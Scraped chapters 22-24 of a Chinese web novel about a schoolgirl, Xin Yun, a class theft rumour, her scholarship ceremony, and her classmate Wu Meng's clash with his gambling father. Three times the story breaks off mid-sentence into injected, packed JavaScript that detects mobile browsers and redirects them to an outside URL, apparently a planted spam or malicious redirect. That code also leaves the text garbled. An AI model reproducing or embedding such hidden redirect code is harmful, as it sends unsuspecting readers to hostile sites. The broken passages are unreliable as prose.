辛蕴不是无欲无求的圣人,当然也有好奇心,她问:“是谁?” 黄丽君冲她眨眨眼,有点讳莫如深的样子:“其实也不好说,但是基本上能锁定三个嫌疑人。李珠说当时她到班里的时候有三个人也到了,一个是秦凌风,另一个是潘青昀,最后一个……你猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832042|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猜是谁。” 辛蕴好奇地看着黄丽君,催促道:“是谁?” 她这求知若渴的表情极大地取悦了黄丽君,她一字一句地说:“是班长!” 辛蕴瞪大眼睛,十分意外:“王嘉禾?” 黄丽君用力地点点头,她正要再说些什么,教室里突然陷入了一阵诡异的安静中,两人抬头去看,发现史振邦从外面走了进来。 他很少这么早来学校,看来肯定是因为昨天资料费被偷的事情一晚上没睡好。 史振邦板着一张脸走到讲台上,他先是环视了一眼底下的学生,这才弯腰去摸讲台的抽屉。 下一秒,他摸出了一个透明的塑料袋。 史振邦低头看了一眼自己手里的那个塑料袋,又抬眼去看坐在下面的学生。 学生们都屏气凝神地看着他。 史振邦脸上的表情一瞬间变得很是精彩。 钱找到了,他应该高兴。 可是这钱真的是他班上的学生偷的,他心里又很失望。 其实昨天晚自习史振邦讲的那些话也存在着诈一诈那个小偷的成分。毕竟他也不能肯定这钱就一定是班上的学生偷的。 史振邦抱着一点侥幸心理,比起班里有学生偷钱,他更愿意相信是外面的人趁着教室里没人把这个钱偷走了。 但事实就是事实。 他叹了一口气,拿着那袋子钱,一时间竟然不知道该说些什么好,只是看了一眼底下的学生,步伐沉重地走出了教室门。 看到史振邦离开,教室里先是保持了一会儿安静,片刻后,又像是滚沸了的开水,一下子炸开了锅。 虽然史振邦真的如他所说没有再追究,但是同学们却抑制不住好奇心。大家都在讨论究竟是谁偷了钱,开始一个一个地排查今天早上到得比较早的几个同学。 辛蕴的眼神穿过半个教室,直直地望向坐在前排的王嘉禾。 对方坐得笔直,似乎正在低头补作业,她的背影看起来十分专心,只是偶尔会回头和后面几个讨论得热火朝天的同学说笑几句,像是全然没有注意到一些同学望过来的怀疑目光。 好强的心理素质。辛蕴心里赞了一声。 接下来的几天辛蕴听到了一些关于王嘉禾的风言风语,很多人都在说是王嘉禾偷了资料费。 据秦凌风所说,他和李珠一样,也是因为好奇所以特地早到的,他几乎是和李珠同一时间到教室的,根本没有那个时间往讲台的抽屉里放钱。 而潘青昀本身就是个富二代,他脚上的名牌鞋几乎都没重样过,自然不会去偷这个钱。 那么嫌疑最大的就是王嘉禾了。 这时候有人站出来说王嘉禾本来就是一个当面一套背地里一套的笑面虎,她表面看起来能和班里所有人都玩到一起,其实背地里性格很阴险。她能做出偷钱的事情也不奇怪。 说这些话的同学本来以为会在辛蕴这里得到一些共鸣,毕竟谁都知道辛蕴之所以被班里的同学排挤很大程度都要归功于王嘉禾的“一时嘴快”。 但辛蕴还是一副淡淡的样子,每次大家聊起这件事,她既不主动开口,也不接话迎合,只是安静地听着,偶尔会害羞地笑笑。 她心里当然也觉得痛快。 只是辛蕴现在根本没有心思去想其他的事情。 因为有一件更值得期待的事情完完全全占据了她的心。 22. 第 22 章 周一早上,辛蕴起了一个大早。 吴咏梅正在厨房里包馄饨,听到动静,她从厨房探出头来,看到辛蕴从卫生间里走出来,她有些惊讶地扭头看了一眼墙上的挂钟,说:“你怎么起这么早?不多睡一会儿?” 辛蕴揉揉眼睛,睡眼朦胧地冲吴咏梅笑,说:“今天要参加颁奖仪式,早点起来做准备。” 听辛蕴这么说,吴咏梅的嘴巴笑得都快咧到了耳后根,她转身倒了一杯温水递到辛蕴手里,说:“那你快准备吧,早饭马上就好了。” 辛蕴点点头,捧着那杯水踩着雀跃的小跳步回到了自己的房间。 她喝了一口水,醒了醒神,坐在梳妆台前,开始对着镜子小心翼翼地摆弄着自己的头发。 辛蕴的头发又多又厚,她试了很多发型,但怎么弄好像都不服帖,最后还是选择直接在脑后束成一个简单的马尾。本来打算再化个简单的妆容,可辛蕴又怕这样显得太刻意,于是只简单地修修眉,涂了一层带颜色的润唇膏,最后再套上一中的夏季校服。 一切都弄完,辛蕴看着穿衣镜里的自己—— 镜中的少女有一张白皙素净的脸,清瘦的身体在宽大的水蓝色衬衫中若隐若现,看起来清纯极了,宛如一朵沾着露水的百合花。 在吴咏梅骄傲自豪的目光中,辛蕴背着书包踏出了家门。 南城市在绿化上一向舍得花钱,从辛蕴家到南城一中的这条街道上的绿化带里种满了月季花,也不知道是什么品种的月季,颜色是好看的水粉色,花朵又大又密集,一簇一簇碗口大的鲜花挤在一起热烈地盛放着,空气中全是清甜的花香味。 辛蕴深吸了一口气,只觉得自己胸膛里的心跳声变得舒展又轻盈。 从小到大她得过不少奖学金,也不是第一次参加这种全校性的活动,但今天的辛蕴格外兴奋和紧张。 她提前十分钟到了教室。 邬蒙还没来。不过这也正常,毕竟他平时很少在上午出现。 辛蕴放下书包,黄丽君见她来了,立刻兴冲冲地坐了过来,笑着问:“今天阿姨打的是什么豆浆?”她十分自然地拿出辛蕴书包侧边口袋的保温杯。 辛蕴答:“黑芝麻的。” “哦耶!”黄丽君高兴地比了一个耶,说:“刚好最近用脑过度掉了不少头发,阿姨这杯豆浆可真是及时雨!” 辛蕴被逗笑了,说:“一杯豆浆而已,被你吹得跟灵芝仙草一样。” 黄丽君正满足地小口小口啜饮着杯子里的热豆浆,听到辛蕴这么说,她转头瞥她一眼,“啧”了一声,说:“辛蕴,你知不知道你真是人如其名?辛蕴,幸运,你真的很幸运,你知道吗?并不是每个人每天早上都有自己妈妈亲手打的热豆浆喝。” 辛蕴收拾书包的动作顿了一下,抬眼去看黄丽君的侧脸。 幸运?她幸运吗? 辛蕴想说点什么,可话到嘴边,她抿了抿唇,终究是没有再开口。 “你知道吗,现在都没人搭理王嘉禾了。”黄丽君又开始兴致勃勃地说起了班上的八卦:“刚才杨姗姗也说钱肯定就是王嘉禾偷的,她们俩是同桌,肯定是王嘉禾看到了杨姗姗把钱放在了书包里,所以才趁她不注意的时候把钱偷走了。别人都没有王嘉禾那么好的作案条件。” 辛蕴听得有些心不在焉,眼神一直?往教室门口飘。 “对了,徐慧敏跟她男朋友又复合了,昨晚两人还在走廊那边亲嘴呢,被好多人看见了。” “还有,邬蒙他……” 听到了关键词,辛蕴的眼神聚光,重新转了过来。 黄丽君自顾自地继续说着:“邬蒙参加的那个节目,你知道的吧,我跟你说,他在节目里还真的有两把刷子呢,歌唱得挺好,主要人往舞台上那么一站,还真的挺像回事的。昨天晚上我在微博上搜他名字,竟然还搜到了他的小粉丝们给他建的超话。真是奇怪,就那么两期节目,就那么几个镜头,竟然就能粉上一个人?” 说完,她抬头看向辛蕴,见辛蕴望着课桌愣愣地发呆,黄丽君伸出手在她眼前晃了两下,说:“喂,喂,回回神,怎么回事?一大早没睡醒啊?” 辛蕴回过神,嗔她一眼:“快点喝吧,待会儿上课了。”她的目光落在黄丽君趴着的那个座位上。 以往辛蕴觉得一边刷题一边听黄丽君说八卦也是一件很有趣的事情,可是今天她却想让黄丽君喝完豆浆就赶紧离开。 辛蕴在心里默默鄙夷了一下自己。 好在黄丽君昨晚的数学卷子还没写完,她喝完豆浆就赶紧回到自己座位上去补作业了,顺便还顺走了辛蕴的数学卷子。 见人走了,辛蕴偷偷摸摸地拿出书包里的手机,按开屏幕,打开相机对着自己的脸,左右打量了一番,没有发现什么问题,又赶紧把手机塞进抽屉里。 这时早读课的上课铃声敲响了。 辛蕴再次抬头看向教室门口。 踩着点到的几个学生陆陆续续地小跑着进来了。 里面没有邬蒙的身影。 辛蕴转头看了一眼自己身边的那个空位置。 邬蒙怎么还没来? 过了大约十五分钟,教室里的广播响了—— “请所有同学出发去学校操场集合参加旗下仪式。” “请所有同学出发去学校操场集合参加旗下仪式。” “请所有同学出发去学校操场集合参加旗下仪式。” 广播催促了三遍。 班里的同学都站了起来,三三两两地走出教室往操场的方向走。 邬蒙还是没有出现。 辛蕴只好慢吞吞地站了起来,跟着人群一起朝外走去。 今天不仅要举行升旗仪式,同时还要进行青苗奖学金的颁奖仪式,所以主席台被精心布置了一下,看起来十分正式。 辛蕴被史振邦叫到了队伍的最前面,和其他班的获奖者一起站成了一列。 升旗仪式很快开始了。 辛蕴抬头去看,看到其中一名升旗手竟然是许清和,他穿着一身校服站得笔挺,眉眼间意气风发,看起来很亮眼。 辛蕴移开目光,望着头顶的天空,今天天气不错,天空是一片澄澈的蓝,旗杆上的红旗随着歌声慢慢爬升。 辛蕴站在那里,一颗心仿佛飘在煮沸的开水里,既焦灼又期待。 升完旗,主席台上的校长发表了一段简短的旗下讲话,然后颁奖仪式正式开始。 时间一分一秒过去了,辛蕴的心提到了嗓子眼。 她回头看了好几次,然而一直等到她从校长的手里接过那个红色奖金荣誉牌,邬蒙还是没有出现。 耳边吹拂而过的风好像停了。 辛蕴意识到—— 邬蒙失约了。 - 作为一个高中学生的家长,容静并没有早起的习惯。 早上七点半,她打着哈欠从房间里出来往卫生间里走,却看到邬蒙拎着书包正要出门。 容静有些意外,问:“你这么早去干嘛?” 邬蒙低头系着鞋带,答:“去学校。” 容静“哦”了一声,神色有些疲倦,她拉开卫生间的门,声音透过门板传了出来:“你昨晚三点多才回来的,今天这么早就去学校?” 邬蒙没回答,只是道:“我买了两个包子,放在桌上了,你待会儿睡醒了吃。”说完,推门就出去了。 早上的空气有些凉,阳光透过窗户玻璃落在木纹地板上,看起来温暖明媚。 邬蒙确实很少起得这么早,自从他在烧烤店和酒吧兼职以来,基本上就没看过早晨的太阳。他有时候都觉得自己就像个只活跃在晚上的吸血鬼。 不过,吸血鬼今天倒是可以见见太阳了。 邬蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832043|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天心情不错。 他沿着中间的那条狭长过道走到前面容静的采耳店,蹲在卷闸门前,刚要拉开门。 身后传来了一个声音。 “去上学?” 邬蒙动作一顿,转头去看。 他身后的沙发上睡着一个男人。 因为店里没开灯,邬蒙刚才并没有注意到男人的存在。 男人掀开盖在身上的毯子,从沙发坐起来,“哼”了两声,清了清宿醉后的嗓子,说:“给我倒杯水来。” 邬蒙站在那里,面无表情地看着那个男人,问:“你怎么来了?” 男人眉毛一挑,抬头看着邬蒙,神情有些不满,道:“你这是什么语气?我是你老子,这店都是我的,我想什么时候回来就什么时候回来。” 邬蒙冷冷地看着男人,讽刺道:“这一年的租金都是我交的,你的店?” 不知道是因为邬蒙这毫不留情的话,还是因为昨晚的宿醉,邬宝刚的脸色很不好看,他挣扎着从沙发上起来,走到一旁的饮水机旁,拿出一个纸杯弯腰去接水。 可按了半天出水口还是没有水流出来。 邬宝刚越来越急躁,出气似的地拍了两下上面的水桶,“砰砰”两声,格外用力。 旁边突然伸过来一只瘦长的手。 他抬头去看。 邬蒙面无表情地取下饮水机上的空水桶,又从旁边的小房间里拎出一桶水,熟练地安装到了饮水机上。 邬宝刚直起身,站在旁边一言不发地看着,等到邬蒙装好水,邬宝刚又把纸杯凑过去,接了满满一杯水,仰头一口气喝了个干净。 “你哪里来的钥匙?”邬蒙冷声发问。 邬宝刚喝水润了嗓子,声音没有那么粗哑了,道:“你管我哪里来的钥匙,我的家,我想回就回。”他看也不看邬蒙,一屁股坐回了沙发上。 邬蒙沉下脸,警告道:“不许你再去骚扰我妈。” 听到这话,邬宝刚再也忍不了了,他把手里的空杯子一扔,猛地站了起来,瞪着邬蒙,嘴里骂道:“你这个小狗比崽子,什么叫骚扰?我跟你妈是结了婚的合法夫妻,没有我,哪里来的你?你读书都读到狗肚子里去了!你知不知道什么叫孝?敢这么跟你老子讲话,是觉得你长大了,老子不敢收拾你了是吧?!”说罢,他伸手一把揪住了邬蒙的衣领。 邬宝刚生得又高又壮,手臂看起来几乎和普通女生的大腿一样粗,他年轻的时候就是附近一带有名的混混,现在年纪大了,脸上的那种狠辣劲丝毫不减,反而因为多出来的那些横肉看起来更加凶恶了。 邬蒙的脸上没有丝毫惧色,他忍住脖子上传来的那种压迫感和不适感,反握住邬宝刚的手腕,用力攥紧,丝毫不退缩地盯着邬宝刚愤怒的脸,说:“你每次回来除了要钱还能干嘛?上次不是说拿了钱就再也不会回来了吗?你把你自己讲的话当放屁?” 邬宝刚被戳中痛处,脸色涨得通红,狠狠地推了一把邬蒙,嘴里骂道:“你这个狗比崽子!真是反了天了!” 邬蒙被推得站不稳,倒在身后的饮水机上,饮水机上的水桶摇晃了几下,往后一歪,直接砸在了地板上。 水从桶口“咕咚咕咚”地往外淌。 邬蒙快速从地上爬起来,像头凶悍的幼狮,没有丝毫犹豫,直接抡起拳头砸向邬宝刚的脸。 大概是父子俩闹出来的动静太大,后面的容静听到了声音,她顾不上穿上鞋,直接赤着脚冲了出来。 “你在干什么?!”容静冲过来一把抱住了邬宝刚的腰,隔开了两人,转头瞪着邬宝刚,吼道:“不是让你不要跟你儿子吵吗?!你再动手我以后再也不会让你进家门了!!!” 听到这话,邬蒙不可置信地看着容静。他喘着粗气,胸膛剧烈地起伏着。 “妈,是你让他回来的?” 邬蒙的声音几乎在颤抖。 23. 第 23 章 听到邬蒙的质问,容静的脸色有些尴尬。她眼神闪躲,低头将一缕头发别到耳后,声音矮了下来,说:“小蒙,他到底还是你爸……而且最近那些追债的人已经不来找他了,他回来一趟没人知道的,我……” 邬蒙情绪激动地打断了容静的话,几乎是在嘶吼:“你不知道为什么那些追债的人不来找他了吗?我现在来告诉你。那是因为他们把我们家里所有值钱的东西都抢走去卖了!因为你当初给他们下跪哭着求他们!!因为我现在每个月都要给他们打钱!!!你以为那些人真的那么好心吗?那是因为他们在我们身上再也榨不出来东西了!!!” “我们家变成现在这样,是因为谁?”邬蒙眼底一片猩红,他指着一旁的邬宝刚,死死地盯着容静惨白的脸,声音颤抖地说:“就是因为这个人在外面滥赌,欠了一屁股的债!妈,你上次不是说再也不会跟他联系了吗?你不是说已经对他死心了吗?你明明知道他就是个无底洞,为什么还要一而再再而三地拉着全家人一起跟他下地狱?!!妈,你是不是疯了?!” 邬宝刚的脸色一阵红一阵青,抡起拳头就要砸向邬蒙的脸:“你怎么跟你妈说话的?!!!” 容静一把拉住他,声音里已经带上了哭腔,哀求道:“别打他!别打他!”她情绪崩溃地朝邬宝刚大喊:“他小时候你打得还不够多吗?!你要把他打死吗?!你要打就连我一起打死好了!这样就再也没有人给你还赌债了!!!” 邬宝刚脸色铁青,呼哧呼哧地喘着粗气。 邬蒙攥紧拳头,只觉得自己全身都在颤抖,他冷冷地看着眼前的一对男女,眼中滔天的愤怒已经变成了无边的冷漠和绝望。 “以后我不会再管你们了。你们俩要怎么样就怎么样吧。”他闭上眼睛,深吸了一口气,弯腰捡起地上的书包,转身头也不回地离开了。 - 青苗奖学金发下来的那个周六,辛蕴带着吴咏梅去商场里买了一件外套。 那是一件樱花粉的改良西装外套,腰部微微收紧,下摆又像小裙摆一样散开,穿上去有种职业女性的干练,又不乏女性身上的那种温柔知性。 吴咏梅很喜欢那件衣服,穿上去舍不得脱下来,对着店里的穿衣镜看了又看,嘴角上扬的弧度就没落下去过。 “你看妈穿这件衣服像不像坐办公室上班的?”吴咏梅笑意吟吟转头看着辛蕴。 辛蕴笑着点头,说:“嗯,像。” 吴咏梅很开心,让店员把她穿过来的旧衣服装进袋子里,直接穿着那件新衣服继续逛街。 “妈,我们再去挑一套睡衣吧。”辛蕴说。 吴咏梅舍不得让辛蕴继续花钱,说:“买一件衣服就行了,剩下的钱你留着自己用吧。” 她态度坚决,辛蕴只好作罢。 经过一家奢侈品店时,辛蕴的目光落在了橱窗展柜上的一双高跟鞋上。“以后等我工作赚钱了,我要给你买一双全世界最漂亮的高跟鞋。”她突然开口说。 “等你长大工作了,那时候妈妈都老了,哪里还能穿高跟鞋?”吴咏梅嗔怪地说:“再说了,我也穿不惯高跟鞋那种花里胡哨的玩意儿,走两步脚就疼,买回来了就摆在家里供着落灰。” 辛蕴鼓鼓嘴,一副不赞同的模样,反驳道:“一点都不老。”顿了片刻,又小声道:“不买高跟鞋那就买点别的,我也觉得高跟鞋一点都不好看。” 吴咏梅笑得眼角的细纹都多出来好几道。 母女俩手挽着手,逛完了楼上的女装店,她们坐扶梯下到商场一层逛起了一家进口超市。 作为一名资深的家庭主妇,吴咏梅一进超市简直就像是老鼠掉进了香油罐里,一会儿说要买进口的牛油果油,一会儿又要买无抗鸡蛋,还要去买谷饲的牛肉。 今天是周末,超市里本来人就多,加上很多热门商品前面都排着队,辛蕴刚刚喝了一大杯奶茶,本来就腻得慌,现在看到生肉区冰柜里那些红通通的鲜肉有些犯恶心,她跟吴咏梅打了个招呼,自己转去了饮料区,准备买点清爽的饮品。 货架上摆着许多花花绿绿的瓶瓶罐罐,全都是一些进口的饮料,辛蕴抬头辨认着饮料瓶上的英文单词,突然听到了货架那边有人在喊—— “阿蒙!” 辛蕴的手一僵,走近几步,靠近货架。 隔着缤纷的饮料罐子,她看到了自己那个已经许久不见的同桌。 邬蒙穿着一身简单的白T加牛仔裤,看起来干净清爽,他手里推着一个装得满满当当的购物车,正朝着饮料区这边走过来。 邬蒙怎么会在这里? 辛蕴盯着邬蒙的脸,思绪回到了一周前。 那天她好不容易鼓起勇气向邬蒙提出邀约,但他却失约了,并且在之后的一个星期一直都没有出现在学校里。 说不失落是假的,辛蕴确实闷闷不乐了好几天。 但转念一想,邬蒙平时看起来确实是一副很忙的样子。贵人多忘事,他不记得随口一提的承诺,也很正常。 “阿蒙。”对面那个女生的语气有点撒娇的意味:“我想要买这个芒果汁。” 辛蕴回过神来,目光望向对面的两人。 邬蒙听到女生的话,瞥了一眼货架的方向,没说话,只是点点头。 女生欢呼一声,踮起脚拿起货架上的两个黄色的玻璃瓶放进了邬蒙面前的那个推车里。 辛蕴的目光落在那个女生的脸上,她曾经在学校对面的报刊亭前面见过这个女生,也在邬蒙参加的那个乐队综艺节目里看到过这个女生的脸。 辛蕴还记得当时镜头扫过邬蒙和他身边那个女生,两人一个弹吉他,一个拿着话筒纵情演唱,舞台上的聚光灯有节奏地在两人脸上扫过,唱到副歌部分,两人相视一笑,那种长久相处下来形成的默契感,隔着屏幕也能感觉到。 那一瞬间,辛蕴内心涌起一种说不上来的情绪。 她把那个镜头来回播放了几十遍,每看一遍,心里那种奇怪的感觉就愈发浓烈。 那之后的几天晚上,辛蕴睡前总是会捧着手机在各种app上搜索邬蒙和这个女主唱的名字。 但是他们这个乐队名不见经传,虽然因为邬蒙的外形收获了一点关注度,可在星光闪耀的娱乐圈根本不值一提。 辛蕴可以搜索到的有用信息寥寥无几,她只知道那个女孩叫橙子,原名陈橙,是邬蒙那支乐队的主唱,两人已经在一起组乐队好几年了,关系很亲密。 “我们得快点,再不回去天就黑了。”邬蒙的声音从货架对面传过来。 辛蕴本能地后退两步,躲在了饮料架后。 橙子“哦”了一声,又抱起两瓶果汁放进了邬蒙面前的购物车里,语气欢快道:“我们回家吧。” 那种奇怪的感觉又开始源源不断地涌了出来。 辛蕴觉得自己的呼吸好像变得有些吃力,那种感觉很像小时候穿了一件不合身的高领毛衣,有种喘不上来气的错觉。 她匆忙拿起一瓶柠檬汁,正要转身离开。 “冰山小美女?”身后有人拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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丁丁凑过去,耳语了一句。 小胖子立马瞪大眼睛,目光上下扫了一眼辛蕴。 辛蕴被两人的小动作搞得有些不自在,不等丁丁再做介绍,她冲着几人抿嘴一笑,脸颊边露出一个小小的梨涡,礼貌地说:“你们逛,我先走了。” 丁丁很热情,开口邀请她:“我们要一起吃火锅,要不一起过来玩?人多也热闹。” 辛蕴转身的动作顿了一下,转头去看邬蒙。 邬蒙没说话,也没表态。 两人的目光交汇,辛蕴的睫毛颤了颤,心跳得飞快。 橙子笑着开口说:“你喊人家来人家就要来?人家没有自己的事情要忙?再说了,我们乐队……” 话还没说完,旁边的邬蒙突然开口道:“你要过来跟我们一起吗?”说这话的时候,他的眼睛直直地看着辛蕴。 辛蕴没有办法从邬蒙的表情判断这到底是一次诚心的邀请,还是一句怕她尴尬的客套话。 可哪怕只是一句客套话,要她对着那张脸说出拒绝的话,好像也不是一件容易的事情。 辛蕴的脸上维持着恰到好处的犹豫和迟疑。 几秒钟后。 她攥紧的手心微微放松,嘴角的那个小梨涡愈发明显,说:“好啊,刚好我没事。” 于是那个下午,吴咏梅女士在一众老太太的夹击中好不容易抢到了两大盒打折的无抗鸡蛋,她拿着战利品兴冲冲地准备向宝贝女儿炫耀战绩,手机屏幕里突然跳出来一条信息—— 【妈,我同学临时约我去图书馆,我先走啦。】 24. 第 24 章 聚餐的地点在橙子的出租屋里。 “总算到家了,今天外面太阳太大了,快晒死我了!”阿祥一进屋就一屁股瘫坐在了沙发上,庞大的身躯几乎要把那个单人小沙发坐塌。 “你们先去摆桌子,我和邬蒙去洗蔬菜。”橙子放下包,拎着东西就往厨房走。 丁丁轻车熟路地拿起客厅角落里的一张折叠桌,冲着辛蕴笑道:“你先找个地方坐,待会儿就能吃了。” 辛蕴笑着点头,站在原地,打量了一下四周。 屋内的装修明显有点年代感,但是收拾得很干净温馨。客厅的墙上挂着很多国内外乐队的海报,辛蕴能叫上名字的没几个。旁边的一个书架上堆满了五颜六色的CD。 客厅窗户上挂着一个手工编织的五彩窗帘,傍晚的阳光透过窗帘的间隙照了进来,碎金子一般落在客厅的玻璃茶几上的一个小盆栽上,碧绿的叶子闪闪发光,看起来生机勃勃。 “你去帮丁丁还有阿祥摆桌子吧。”邬蒙从厨房里探出头,“袋子里有饮料,你要是喝了可以先打开喝。” 辛蕴抿了抿唇,点点头,说:“好。” 橙子租的这个房子在一楼,前面有个小小的院子,院墙下面种了一些花草,今天阳光很好,角落里的一丛月季花开得娇艳妖娆。 几个人把桌子摆在了院子中央。 橙子拿了一个电磁炉和锅出来,往锅里倒了水,又加了一袋子火锅底料,水一烧开,火锅的香味顿时在院子里飘开。 趁着大家都围在桌边忙活的功夫,辛蕴悄然退后几步,转身进了屋来到厨房。 邬蒙正在水池边低头洗菜,听到身后有脚步声靠近,淡淡道:“待会儿你记得给人家倒杯橙汁,不要弄得人家不自在。” 辛蕴低头,嘴角微微上扬,会意一笑,说:“我知道了。” 邬蒙一愣,回头看到是辛蕴,他脸上的表情僵了一下,嘴唇动了动,似乎想说点什么,但最后只是笑了笑,转过头继续洗水池里的菜。 这应该是辛蕴第一次在邬蒙的脸上看到窘迫的神情,她抿抿唇,脸颊边露出一个小小的梨涡,说:“我帮你一起洗吧。” 邬蒙摇头,说:“不用了,别把你的手弄湿了。”见辛蕴坚持要帮忙,他冲旁边抬了抬下巴,说:“那你去切菜吧。” 灶台上的几个盘子里摆着已经洗干净的菜。辛蕴拿起一个土豆,熟练地开始切菜。 明媚的阳光穿过窗外一棵木绣球树的枝叶落在少女纤瘦的肩上,她身上那件淡紫色的棉质T恤衬得她皮肤白皙通透,双颊透着健康自然的红晕。 辛蕴低头安静地切着土豆,那认真的神态和平时坐在教室里埋头学习的样子一模一样。 邬蒙眼角余光扫了几回,似乎有些意外,说:“你刀工不错。”他本来以为像辛蕴这样娇生惯养的大小姐肯定会把一颗土豆切得乱七八糟,但辛蕴切的土豆片厚薄均匀,一看刀工就很娴熟。 刀工被夸,辛蕴扬扬嘴角,似乎有些骄傲,说:“我刚会走路的时候就会切土豆片了。” 邬蒙挑了挑眉,他没接话,看神情明显是不信。 辛蕴没有说谎,小时候她跟着吴咏梅生活在农村里,每年到了七八月份农忙的时候,吴咏梅总是天不亮就要去地里干农活,一直到天黑才回家。家里做饭的活自然就落在了辛蕴身上,当时小小年纪的她甚至还没有灶台高,只能踩在一个小板凳上做饭。 那时候农村里最常见最便宜最好储存的菜就是土豆和红薯了,那些年辛蕴不知道切过多少土豆和红薯,刀工早就练得纯熟。 即使现在儿时的记忆已经遥远到有些模糊,但是那些娴熟于心的技巧已经变成了她的肌肉记忆。 辛蕴切完土豆,又开始切玉米。玉米有些硬,她咬牙用力一剁,虎口震得生疼,才堪堪切下来一截。 邬蒙余光瞥见她的吃力,擦了擦手上的水,说:“我来吧。” 辛蕴将手里的菜刀递了过去,她靠在旁边的冰箱上,盯着低头切玉米的邬蒙,状似不经意地问:“这是你和你女朋友的家?” 邬蒙手上的动作顿了一下,转头看着她。 一句太过浅薄的试探,不用怎么思考,就能猜到这句话背后的那些婉转心思。 辛蕴话一出口就有些后悔了,她感觉自己的脸似乎在烧,可话已经问出口了,她只能维持着脸上那个淡定平静的表情。 好在邬蒙很快就收回了视线,让她不至于太煎熬。 夕阳斜斜地照进屋内,他手背上的几滴晶莹的水珠在发光,薄薄的一层皮肉之下,鼓起的青筋清晰可见。 邬蒙一只手握住菜刀,另一只手按在刀背上,轻轻用力。“咔嚓”一声,玉米断成了两截。 “当然不是,我跟橙子姐就是普通朋友关系,我没有女朋友。”他说。 风从打开的窗户吹了进来。 得到了想要的答案,辛蕴尴尬之余,还有些雀跃,好像有一种轻盈的、柔软的、五彩斑斓的情绪从她的心里飘了出来。 她抿着唇笑了,轻声道:“我也觉得不像。” 邬蒙一时之间没有听清她的话,转头看她一眼:“嗯?”反应过来,然后又低头笑了笑:“嗯。” 辛蕴的脸因为他嘴角的这个笑再次烧了起来。 “我去看看外面有没有要帮忙的地方。”说完,她转身快步走出了厨房。 邬蒙转头去看辛蕴的背影,看见那个背影逃也似的消失在了视线里,他转过身继续切玉米,切到一半,他笑着摇了摇头。 五个人忙活了半个多小时,终于将所有菜都端上了桌。 大家围坐在四四方方的折叠桌旁,一起举杯:“干杯!” 丁丁又十分会来事地带着其他人一起给邬蒙敬了一杯,说:“谢谢邬总今天请客!” 辛蕴拿起橙汁,主动给桌上的每个人都倒了一杯。给橙子倒橙汁的时候,辛蕴的目光看向坐在对面的邬蒙,邬蒙瞥她一眼,很快就转开了视线。 夕阳快要落山的时候,看到大家都吃得差不多了,阿祥率先站了起来,扯着嗓子唱道—— “为寂寞的夜空画上一个月亮 把我画在那月亮下面歌唱 为冷清的房子画上一扇大窗 ……” 安静的傍晚,夕阳在少男少女的眼中洒下温柔的波光,阿祥清越的歌声飘在这个小小的院子上方,他身材宽胖,歌声却很轻盈空灵,音色很适合这首歌。 邬蒙刚才被丁丁和阿祥灌了不少小麦果汁,此刻已经有些醉意了,看到阿祥开嗓子,他顺手拎起旁边的吉他为阿祥伴奏。 唱完一首,阿祥明显还觉得不尽兴,转头看着其余人,说:“你们谁帮我打鼓?” 橙子和丁丁刚才都喝了不少,两个人都不愿意动。 阿祥把脚边的那个非洲鼓踢到辛蕴身边,说:“那你帮我打吧。” 辛蕴吓了一跳,连连摆手,说:“我不会。” 阿祥大着舌头 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以前家里条件差,辛蕴没有机会去上那些兴趣班,后来家里条件好了,她自己的课业又变得很繁重,根本抽不出来空去上兴趣班。 此刻面对这个新奇又陌生的乐器,辛蕴有些紧张,她一本正经的模样逗笑了其他几个人。 辛蕴知道自己的动作肯定看起来僵硬又笨拙,她有些着急,一着急就更露怯,就连最简单的“咚咚哒”也乱了拍子,最后她索性乱拍一气。好在这丝毫不影响邬蒙和阿祥的配合。 阿祥唱了好几首歌,最后醉倒在了椅子上。 邬蒙转头看着辛蕴,问:“怎么样,来一首?” 辛蕴的头摇得像拨浪鼓,连声拒绝。要说打鼓她还能尝试,但唱歌那是万万不能的。 以前读小学的时候学校里组织文艺汇演,辛蕴被老师挑中了去演唱,虽然经过日夜苦练硬着头皮上了,最后也唱得马马虎虎,但经此一事她明白了自己压根就没有唱歌的天赋。 见辛蕴拒绝得很坚定,邬蒙倒是没强求,他放下吉他,拎起一罐啤酒,走到一旁,坐在院墙下的一个长凳上,眺望着远方的夜空。 此时院子里的其他三个人喝得差不多了,醉躺在椅子上。 辛蕴走到邬蒙身边坐下。 两人谁都没有说话。 夜风和酒精是最好的缓和剂,即使相对无言,也不会觉得尴尬。 良久,邬蒙开口说:“不好意思,那天我有点事情。” 辛蕴一愣,顿了几秒才反应过来邬蒙说的是什么事。 对于他那天的失约,虽然辛蕴确实曾经为此郁闷过几天,但现在当着邬蒙的面,她也不好表现出来。 “没事的,我当时不过就是随口一说罢了。不是什么大事,你来不来都没关系的。”她摆摆手,话里话外一副豁达的姿态。 邬蒙转头看着辛蕴。他的目光锁定她有些闪躲的双眼,像是要透过辛蕴的瞳孔看穿她内心的真实情绪。 夜风吹乱了辛蕴耳边的碎发,也吹乱了她的心跳声。 